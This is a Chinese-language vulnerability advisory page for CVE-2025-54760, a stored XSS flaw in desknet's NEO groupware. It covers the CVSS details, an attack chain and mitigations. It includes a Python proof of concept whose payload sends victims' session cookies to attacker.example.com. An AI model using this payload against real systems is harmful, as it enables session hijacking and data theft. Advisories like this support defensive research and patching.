IPBUF安全漏洞报告
English
CVE-2025-54760 CVSS 5.4 中危

CVE-2025-54760:desknet's NEO 存储型跨站脚本漏洞

披露日期: 2025-10-16

漏洞信息

漏洞编号
CVE-2025-54760
漏洞类型
存储型跨站脚本(Stored XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
desknet's NEO

相关标签

XSS存储型XSSStored XSS跨站脚本desknet's NEONEOJAPAN群组协作软件CVE-2025-54760JPCERTJVN

漏洞概述

CVE-2025-54760 是由 JPCERT/CC 的 vultures 团队发现的存在于 desknet's NEO V9.0R2.0 及更早版本中的存储型跨站脚本(Stored XSS)漏洞。desknet's NEO 是由 NEOJAPAN 公司开发的一款在日本广泛使用的企业级群组协作与办公自动化软件,提供日程管理、文件共享、邮件、工作流等多种功能。该漏洞允许经过低权限认证的攻击者将包含恶意 JavaScript 代码的内容提交并存储到服务器端,当其他用户浏览受影响的页面时,恶意脚本将在其浏览器中自动执行。CVSS 3.0 评分为 5.4 分,属于中危级别。该漏洞的 CVSS 向量为 CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N,表明该漏洞可通过网络进行攻击,攻击复杂度低,但需要低权限认证和用户交互(如点击链接或访问页面)。漏洞的机密性和完整性影响均为低,范围发生变化(Scope Changed),可用性不受影响。该漏洞已于 2025 年 10 月 16 日公开披露,desknet's NEO 官方已发布相应补丁进行修复,建议用户及时更新。

技术细节

存储型 XSS(Stored XSS)是一种将恶意脚本永久存储在目标服务器上的跨站脚本攻击形式。与反射型 XSS 不同,存储型 XSS 的恶意代码会持久化存在于数据库、消息论坛、评论字段或其他持久化存储介质中。

在 desknet's NEO V9.0R2.0 及更早版本中,应用序对用户输入数据的过滤和转义机制存在缺陷。具体而言,当低权限用户在系统中提交包含 HTML 或 JavaScript 代码的内容(如日程标题、备注、文件名、消息正文等字段)时,应用程序未能对这些输入进行充分的 HTML 实体编码或危险标签过滤,直接将原始内容存储到数据库中。

当其他具有查看权限的用户访问包含该恶意内容的页面时,服务器从数据库中读取并将其原样返回到浏览器,浏览器将恶意脚本作为合法页面内容解析和执行。攻击者可以利用此漏洞执行任意 JavaScript 代码,包括但不限于:窃取用户会话 Cookie、劫持用户会话、执行未授权操作、窃取敏感信息、进行钓鱼攻击或传播恶意软件。

由于该漏洞需要用户交互(UI:R)才能触发——受害者必须主动访问包含恶意内容的页面——且攻击者需要低权限认证(PR:L),因此攻击场景通常发生在企业内部已获得基础账户权限的攻击者针对其他用户实施定向攻击的场景。

攻击链分析

STEP 1
步骤1:获取低权限账户
攻击者通过合法途径或社会工程学获取 desknet's NEO 系统中的低权限用户账户凭证。
STEP 2
步骤2:构造恶意载荷
攻击者构造包含恶意 JavaScript 代码的 XSS 载荷,如窃取 Cookie、重定向到钓鱼页面或执行未授权操作的脚本。
STEP 3
步骤3:提交并存储恶意内容
攻击者登录系统后,将恶意载荷通过日程安排、备注、文件共享描述、消息等用户可控输入字段提交到服务器。由于应用未对输入进行充分过滤,恶意脚本被持久化存储。
STEP 4
步骤4:等待受害者访问
当具有查看权限的其他用户(包括管理员)浏览包含恶意内容的页面时,服务器返回存储的原始内容,浏览器将其作为合法脚本执行。
STEP 5
步骤5:执行恶意操作
恶意脚本在受害者浏览器中执行,可窃取会话 Cookie、劫持账户、窃取敏感数据、进行钓鱼攻击或以受害者身份执行未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-54760 - Stored XSS PoC for desknet's NEO V9.0R2.0 and earlier # Exploit: Inject malicious JavaScript into user-controllable input fields # The payload will be stored on the server and executed when victims view the affected page import requests TARGET_URL = "https://target-desknets-neo.example.com" LOGIN_URL = f"{TARGET_URL}/login" SUBMIT_URL = f"{TARGET_URL}/schedule/edit" # Example endpoint accepting user input # Step 1: Authenticate with low-privilege credentials session = requests.Session() login_payload = { "username": "attacker_user", "password": "attacker_password" } session.post(LOGIN_URL, data=login_payload) # Step 2: Submit malicious JavaScript payload via a stored input field # The application fails to sanitize HTML/JS in this input, storing it as-is xss_payload = ( '"\'><img src=x onerror=alert(String.fromCharCode(88,83,83))>' '<script>document.location="https://attacker.example.com/steal?c="+document.cookie</script>' ) stored_payload = { "title": xss_payload, "description": xss_payload, "content": xss_payload, "schedule_date": "2025-12-31" } response = session.post(SUBMIT_URL, data=stored_payload) if response.status_code == 200: print("[+] Malicious payload stored successfully on the server.") print("[+] When a victim views this schedule entry, the JavaScript will execute.") else: print(f"[-] Failed to store payload. Status code: {response.status_code}") # Step 3: Exfiltration listener (on attacker.example.com) would receive: # GET /steal?c=<victim_session_cookie>

影响范围

desknet's NEO <= V9.0R2.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制低权限用户提交富文本内容的权限,仅允许纯文本输入;2)在 Web 应用防火墙(WAF)中部署针对 XSS 攻击的规则,过滤常见恶意载荷;3)部署严格的内容安全策略(CSP)头,限制内联脚本执行;4)对用户提交的内容进行服务端 HTML 净化处理(如使用 OWASP HTML Sanitizer);5)定期审查系统中已存储的用户内容,清理可疑的恶意脚本;6)监控异常会话活动,及时发现被劫持的账户。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表